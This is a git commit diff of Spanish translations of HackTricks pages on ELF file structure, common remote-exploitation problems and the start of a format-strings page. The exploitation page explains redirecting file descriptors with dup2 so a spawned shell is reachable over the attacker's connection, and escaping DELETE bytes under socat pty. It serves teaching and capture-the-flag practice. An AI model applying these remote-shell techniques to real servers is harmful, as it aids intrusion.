Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo

This commit is contained in:
Translator 2024-07-18 22:10:25 +00:00
parent e47adeef62
commit 7a1d0e25e8
142 changed files with 7267 additions and 8445 deletions

View file

@ -1,20 +1,23 @@
# Información Básica sobre ELF # Información Básica sobre ELF
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Encabezados del Programa ## Encabezados del Programa
Describen al cargador cómo cargar el **ELF** en memoria: Los describe al cargador cómo cargar el **ELF** en memoria:
```bash ```bash
readelf -lW lnstat readelf -lW lnstat
@ -47,50 +50,50 @@ Segment Sections...
07 07
08 .init_array .fini_array .dynamic .got 08 .init_array .fini_array .dynamic .got
``` ```
El programa anterior tiene **9 encabezados de programa**, luego, el **mapeo de segmentos** indica en qué encabezado de programa (de 00 a 08) **se encuentra cada sección**. El programa anterior tiene **9 encabezados de programa**, luego, el **mapeo de segmentos** indica en qué encabezado de programa (del 00 al 08) **se encuentra cada sección**.
### PHDR - Encabezado de Programa ### PHDR - Encabezado de Programa
Contiene las tablas de encabezados de programa y los metadatos en sí. Contiene las tablas de encabezados de programa y la metadata en sí.
### INTERP ### INTERP
Indica la ruta del cargador a utilizar para cargar el binario en memoria. Indica la ruta del cargador que se debe usar para cargar el binario en memoria.
### LOAD ### LOAD
Estos encabezados se utilizan para indicar **cómo cargar un binario en memoria**.\ Estos encabezados se utilizan para indicar **cómo cargar un binario en memoria.**\
Cada encabezado **LOAD** indica una región de **memoria** (tamaño, permisos y alineación) e indica los bytes del **binario ELF a copiar allí**. Cada encabezado **LOAD** indica una región de **memoria** (tamaño, permisos y alineación) e indica los bytes del binario ELF **que se copiarán allí**.
Por ejemplo, el segundo tiene un tamaño de 0x1190, debería estar ubicado en 0x1fc48 con permisos de lectura y escritura y se llenará con 0x528 desde el desplazamiento 0xfc48 (no llena todo el espacio reservado). Esta memoria contendrá las secciones `.init_array .fini_array .dynamic .got .data .bss`. Por ejemplo, el segundo tiene un tamaño de 0x1190, debe estar ubicado en 0x1fc48 con permisos de lectura y escritura y se llenará con 0x528 desde el desplazamiento 0xfc48 (no llena todo el espacio reservado). Esta memoria contendrá las secciones `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC ### DYNAMIC
Este encabezado ayuda a vincular programas con sus dependencias de bibliotecas y aplicar reubicaciones. Ver la sección **`.dynamic`**. Este encabezado ayuda a vincular programas a sus dependencias de biblioteca y aplicar reubicaciones. Consulta la sección **`.dynamic`**.
### NOTE ### NOTE
Almacena información de metadatos del proveedor sobre el binario. Esto almacena información de metadata del proveedor sobre el binario.
### GNU\_EH\_FRAME ### GNU\_EH\_FRAME
Define la ubicación de las tablas de desenrollado de la pila, utilizadas por depuradores y funciones de manejo de excepciones de C++ en tiempo de ejecución. Define la ubicación de las tablas de deshacer la pila, utilizadas por depuradores y funciones de manejo de excepciones de C++.
### GNU\_STACK ### GNU\_STACK
Contiene la configuración de la defensa de prevención de ejecución de pila. Si está habilitado, el binario no podrá ejecutar código desde la pila. Contiene la configuración de la defensa de prevención de ejecución de la pila. Si está habilitado, el binario no podrá ejecutar código desde la pila.
### GNU\_RELRO ### GNU\_RELRO
Indica la configuración RELRO (Relocation Read-Only) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse. Indica la configuración RELRO (Relocation Read-Only) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse.
En el ejemplo anterior, se copian 0x3b8 bytes en 0x1fc48 como de solo lectura afectando a las secciones `.init_array .fini_array .dynamic .got .data .bss`. En el ejemplo anterior, está copiando 0x3b8 bytes a 0x1fc48 como de solo lectura, afectando las secciones `.init_array .fini_array .dynamic .got .data .bss`.
Tenga en cuenta que RELRO puede ser parcial o completo, la versión parcial no protege la sección **`.plt.got`**, que se utiliza para **enlace perezoso** y necesita que este espacio de memoria tenga **permisos de escritura** para escribir la dirección de las bibliotecas la primera vez que se busca su ubicación. Ten en cuenta que RELRO puede ser parcial o completo, la versión parcial no protege la sección **`.plt.got`**, que se utiliza para **lazy binding** y necesita este espacio de memoria para tener **permisos de escritura** para escribir la dirección de las bibliotecas la primera vez que se busca su ubicación.
### TLS ### TLS
Define una tabla de entradas TLS, que almacena información sobre variables locales de subprocesos. Define una tabla de entradas TLS, que almacena información sobre variables locales de hilo.
## Encabezados de Sección ## Encabezados de Sección
@ -155,24 +158,26 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY CONTENTS, READONLY
``` ```
It also indicates the location, offset, permissions but also the **tipo de datos** it section has.
### Secciones Meta ### Secciones Meta
* **Tabla de cadenas**: Contiene todas las cadenas necesarias para el archivo ELF (pero no las que realmente usa el programa). Por ejemplo, contiene nombres de secciones como `.text` o `.data`. Y si `.text` está en el desplazamiento 45 en la tabla de cadenas, usará el número **45** en el campo **nombre**. * **Tabla de cadenas**: Contiene todas las cadenas necesarias para el archivo ELF (pero no las que realmente usa el programa). Por ejemplo, contiene nombres de secciones como `.text` o `.data`. Y si `.text` está en el offset 45 en la tabla de cadenas, usará el número **45** en el campo **nombre**.
* Para encontrar dónde está la tabla de cadenas, el ELF contiene un puntero a la tabla de cadenas. * Para encontrar dónde está la tabla de cadenas, el ELF contiene un puntero a la tabla de cadenas.
* **Tabla de símbolos**: Contiene información sobre los símbolos como el nombre (desplazamiento en la tabla de cadenas), dirección, tamaño y más metadatos sobre el símbolo. * **Tabla de símbolos**: Contiene información sobre los símbolos como el nombre (offset en la tabla de cadenas), dirección, tamaño y más metadatos sobre el símbolo.
### Secciones Principales ### Secciones Principales
* **`.text`**: Las instrucciones del programa a ejecutar. * **`.text`**: La instrucción del programa a ejecutar.
* **`.data`**: Variables globales con un valor definido en el programa. * **`.data`**: Variables globales con un valor definido en el programa.
* **`.bss`**: Variables globales no inicializadas (o inicializadas a cero). Las variables aquí se inicializan automáticamente a cero, evitando así que se agreguen ceros inútiles al binario. * **`.bss`**: Variables globales no inicializadas (o inicializadas a cero). Las variables aquí se inicializan automáticamente a cero, evitando así que se añadan ceros inútiles al binario.
* **`.rodata`**: Variables globales constantes (sección de solo lectura). * **`.rodata`**: Variables globales constantes (sección de solo lectura).
* **`.tdata`** y **`.tbss`**: Similar a .data y .bss cuando se utilizan variables locales al hilo (`__thread_local` en C++ o `__thread` en C). * **`.tdata`** y **`.tbss`**: Como .data y .bss cuando se utilizan variables locales de hilo (`__thread_local` en C++ o `__thread` en C).
* **`.dynamic`**: Ver abajo. * **`.dynamic`**: Ver abajo.
## Símbolos ## Símbolos
Los símbolos son ubicaciones con nombre en el programa que pueden ser una función, un objeto de datos global, variables locales al hilo... Los símbolos son una ubicación nombrada en el programa que podría ser una función, un objeto de datos global, variables locales de hilo...
``` ```
readelf -s lnstat readelf -s lnstat
@ -196,13 +201,13 @@ Num: Value Size Type Bind Vis Ndx Name
Cada entrada de símbolo contiene: Cada entrada de símbolo contiene:
* **Nombre** * **Nombre**
* Atributos de enlace (débil, local o global): Un símbolo local solo puede ser accedido por el programa en sí, mientras que los símbolos globales son compartidos fuera del programa. Un objeto débil es, por ejemplo, una función que puede ser reemplazada por otra diferente. * **Atributos de enlace** (débil, local o global): Un símbolo local solo puede ser accedido por el propio programa, mientras que el símbolo global se comparte fuera del programa. Un objeto débil es, por ejemplo, una función que puede ser sobrescrita por otra diferente.
* **Tipo**: NOTYPE (sin tipo especificado), OBJECT (variable de datos global), FUNC (función), SECTION (sección), FILE (archivo de código fuente para depuradores), TLS (variable local de hilo), GNU_IFUNC (función indirecta para reubicación) * **Tipo**: NOTYPE (sin tipo especificado), OBJECT (variable de datos global), FUNC (función), SECTION (sección), FILE (archivo de código fuente para depuradores), TLS (variable local de hilo), GNU\_IFUNC (función indirecta para reubicación)
* Índice de la **sección** donde se encuentra * **Índice de sección** donde se encuentra
* **Valor** (dirección en memoria) * **Valor** (dirección en memoria)
* **Tamaño** * **Tamaño**
## Sección Dinámica ## Sección dinámica
``` ```
readelf -d lnstat readelf -d lnstat
@ -237,11 +242,11 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15 0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0 0x0000000000000000 (NULL) 0x0
``` ```
El directorio NEEDED indica que el programa **necesita cargar la biblioteca mencionada** para poder continuar. El directorio NEEDED se completa una vez que la **biblioteca compartida está completamente operativa y lista** para su uso. El directorio NEEDED indica que el programa **necesita cargar la biblioteca mencionada** para continuar. El directorio NEEDED se completa una vez que la **biblioteca compartida está completamente operativa y lista** para su uso.
## Relocalizaciones ## Reubicaciones
El cargador también debe reubicar las dependencias después de haberlas cargado. Estas relocalizaciones se indican en la tabla de relocalización en formatos REL o RELA y el número de relocalizaciones se da en las secciones dinámicas RELSZ o RELASZ. El cargador también debe reubicar las dependencias después de haberlas cargado. Estas reubicaciones se indican en la tabla de reubicación en formatos REL o RELA y el número de reubicaciones se da en las secciones dinámicas RELSZ o RELASZ.
``` ```
readelf -r lnstat readelf -r lnstat
@ -307,7 +312,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0 00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0 00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0 00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
```plaintext
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0 00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0 00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0 00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
@ -317,23 +321,23 @@ Offset Info Type Sym. Value Sym. Name + Addend
``` ```
### Relocalizaciones Estáticas ### Relocalizaciones Estáticas
Si el **programa se carga en un lugar diferente** a la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** u otra razón, una relocalización estática **corrige los punteros** que tenían valores esperando que el binario se cargara en la dirección preferida. Si el **programa se carga en un lugar diferente** de la dirección preferida (usualmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocalización estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida.
Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocalización más el valor del sumando. Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocalización más el valor del aditivo.
### Relocalizaciones Dinámicas y GOT ### Relocalizaciones Dinámicas y GOT
La relocalización también podría hacer referencia a un símbolo externo (como una función de una dependencia). Por ejemplo, la función malloc de libC. Entonces, cuando el cargador carga libC en una dirección verificando dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Global Offset Table) (indicada en la tabla de relocalización) donde debería especificarse la dirección de malloc. La relocalización también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Tabla de Desplazamiento Global) (indicada en la tabla de relocalización) donde debería especificarse la dirección de malloc.
### Tabla de Enlace de Procedimientos ### Tabla de Enlace de Procedimientos
La sección PLT permite realizar enlace perezoso, lo que significa que la resolución de la ubicación de una función se realizará la primera vez que se acceda a ella. La sección PLT permite realizar enlace perezoso, lo que significa que la resolución de la ubicación de una función se realizará la primera vez que se acceda a ella.
Entonces, cuando un programa llama a malloc, en realidad llama a la ubicación correspondiente de `malloc` en la PLT (`malloc@plt`). La primera vez que se llama, resuelve la dirección de `malloc` y la almacena para que la próxima vez que se llame a `malloc`, se utilice esa dirección en lugar del código PLT. Así que cuando un programa llama a malloc, en realidad llama a la ubicación correspondiente de `malloc` en el PLT (`malloc@plt`). La primera vez que se llama, resuelve la dirección de `malloc` y la almacena, de modo que la próxima vez que se llame a `malloc`, se utiliza esa dirección en lugar del código PLT.
## Inicialización del Programa ## Inicialización del Programa
Después de que el programa ha sido cargado, es hora de que se ejecute. Sin embargo, el primer código que se ejecuta **no siempre es la función `main`**. Esto se debe a que, por ejemplo, en C++ si una **variable global es un objeto de una clase**, este objeto debe ser **inicializado** **antes de que** se ejecute main, como en: Después de que el programa ha sido cargado, es hora de que se ejecute. Sin embargo, el primer código que se ejecuta **no siempre es la función `main`**. Esto se debe a que, por ejemplo, en C++ si una **variable global es un objeto de una clase**, este objeto debe ser **inicializado** **antes** de que se ejecute main, como en:
```cpp ```cpp
#include <stdio.h> #include <stdio.h>
// g++ autoinit.cpp -o autoinit // g++ autoinit.cpp -o autoinit
@ -354,36 +358,51 @@ printf("Main\n");
return 0; return 0;
} }
``` ```
Ten en cuenta que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos a inicializar y destruir para hacer un seguimiento de ellos. Nota que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos a inicializar y destruir para mantener un seguimiento de ellos.
Desde el código C es posible obtener el mismo resultado utilizando las extensiones de GNU: Desde el código C es posible obtener el mismo resultado utilizando las extensiones de GNU:
```c ```c
__attributte__((constructor)) //Add a constructor to execute before __attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list __attributte__((destructor)) //Add to the destructor list
``` ```
Desde la perspectiva de un compilador, para ejecutar estas acciones antes y después de que se ejecute la función `main`, es posible crear una función `init` y una función `fini` que serían referenciadas en la sección dinámica como **`INIT`** y **`FIN`** y se colocarían en las secciones `init` y `fini` del ELF. Desde la perspectiva de un compilador, para ejecutar estas acciones antes y después de que se ejecute la función `main`, es posible crear una función `init` y una función `fini` que serían referenciadas en la sección dinámica como **`INIT`** y **`FIN`**. y se colocan en las secciones `init` y `fini` del ELF.
La otra opción, como se mencionó, es hacer referencia a las listas **`__CTOR_LIST__`** y **`__DTOR_LIST__`** en las entradas **`INIT_ARRAY`** y **`FINI_ARRAY`** de la sección dinámica, y la longitud de estas se indica por **`INIT_ARRAYSZ`** y **`FINI_ARRAYSZ`**. Cada entrada es un puntero a función que se llamará sin argumentos. La otra opción, como se mencionó, es referenciar las listas **`__CTOR_LIST__`** y **`__DTOR_LIST__`** en las entradas **`INIT_ARRAY`** y **`FINI_ARRAY`** en la sección dinámica y la longitud de estas se indica mediante **`INIT_ARRAYSZ`** y **`FINI_ARRAYSZ`**. Cada entrada es un puntero a función que se llamará sin argumentos.
Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que se ejecutarán **antes** de los punteros de **`INIT_ARRAY`**. Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que se ejecutarán **antes** de los punteros **`INIT_ARRAY`**.
### Orden de Inicialización ### Orden de Inicialización
1. El programa se carga en memoria, las variables globales estáticas se inicializan en **`.data`** y las no inicializadas se ponen a cero en **`.bss`**. 1. El programa se carga en memoria, las variables globales estáticas se inicializan en **`.data`** y las no inicializadas se ponen a cero en **`.bss`**.
2. Se **inicializan** todas las **dependencias** del programa o bibliotecas y se ejecuta el **enlace dinámico**. 2. Todas las **dependencias** para el programa o bibliotecas son **inicializadas** y se ejecuta el **vinculador dinámico**.
3. Se ejecutan las funciones de **`PREINIT_ARRAY`**. 3. Se ejecutan las funciones de **`PREINIT_ARRAY`**.
4. Se ejecutan las funciones de **`INIT_ARRAY`**. 4. Se ejecutan las funciones de **`INIT_ARRAY`**.
5. Si hay una entrada de **`INIT`**, se llama. 5. Si hay una entrada **`INIT`**, se llama.
6. Si es una biblioteca, dlopen termina aquí; si es un programa, es hora de llamar al **punto de entrada real** (función `main`). 6. Si es una biblioteca, dlopen termina aquí; si es un programa, es hora de llamar al **punto de entrada real** (función `main`).
## Almacenamiento Local en Hilos (TLS) ## Almacenamiento Local por Hilo (TLS)
Se definen utilizando la palabra clave **`__thread_local`** en C++ o la extensión GNU **`__thread`**. Se definen utilizando la palabra clave **`__thread_local`** en C++ o la extensión de GNU **`__thread`**.
Cada hilo mantendrá una ubicación única para esta variable, por lo que solo el hilo puede acceder a su variable. Cada hilo mantendrá una ubicación única para esta variable, por lo que solo el hilo puede acceder a su variable.
Cuando se utiliza esto, se utilizan las secciones **`.tdata`** y **`.tbss`** en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS. Cuando se utiliza esto, las secciones **`.tdata`** y **`.tbss`** se utilizan en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS.
Cada variable tendrá una entrada en el encabezado TLS especificando el tamaño y el desplazamiento TLS, que es el desplazamiento que utilizará en el área de datos local del hilo. Cada variable tendrá una entrada en el encabezado TLS especificando el tamaño y el desplazamiento TLS, que es el desplazamiento que utilizará en el área de datos local del hilo.
El `__TLS_MODULE_BASE` es un símbolo utilizado para hacer referencia a la dirección base del almacenamiento local en hilos y apunta al área en memoria que contiene todos los datos locales del hilo de un módulo. El `__TLS_MODULE_BASE` es un símbolo utilizado para referirse a la dirección base del almacenamiento local por hilo y apunta al área en memoria que contiene todos los datos locales por hilo de un módulo.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# Problemas Comunes de Explotación # Problemas Comunes de Explotación
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## FDs en Explotación Remota ## FDs en Explotación Remota
Al enviar un exploit a un servidor remoto que llama a **`system('/bin/sh')`** por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada desde stdin (FD: `0`) e imprimirá la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con la shell. Al enviar un exploit a un servidor remoto que llama a **`system('/bin/sh')`** por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada de stdin (FD: `0`) y mostrará la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con el shell.
Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **número de FD `3`** (para escuchar) y que luego, tu conexión estará en el **número de FD `4`**. Por lo tanto, es posible utilizar la llamada al sistema **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea posible contactar la shell una vez que se ejecute. Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **FD número `3`** (para escuchar) y que luego, tu conexión estará en el **FD número `4`**. Por lo tanto, es posible usar la syscall **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea factible contactar con el shell una vez que se ejecute.
[**Ejemplo de exploit desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): [**Ejemplo de exploit desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python ```python
@ -37,20 +40,23 @@ p.interactive()
``` ```
## Socat & pty ## Socat & pty
Tenga en cuenta que socat ya transfiere **`stdin`** y **`stdout`** al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Por lo tanto, si envía un `\x7f` (`DELETE`), **borrará el carácter anterior** de su exploit. Ten en cuenta que socat ya transfiere **`stdin`** y **`stdout`** al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Así que, si envías un `\x7f` ( `DELETE` -) eliminará **el carácter anterior** de tu exploit.
Para evitar esto, el **carácter de escape `\x16` debe ser antepuesto a cualquier `\x7f` enviado**. Para eludir esto, **el carácter de escape `\x16` debe ser precedido a cualquier `\x7f` enviado.**
**Aquí puedes** [**encontrar un ejemplo de este comportamiento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** **Aquí puedes** [**encontrar un ejemplo de este comportamiento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,24 +1,27 @@
# Cadenas de formato # Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
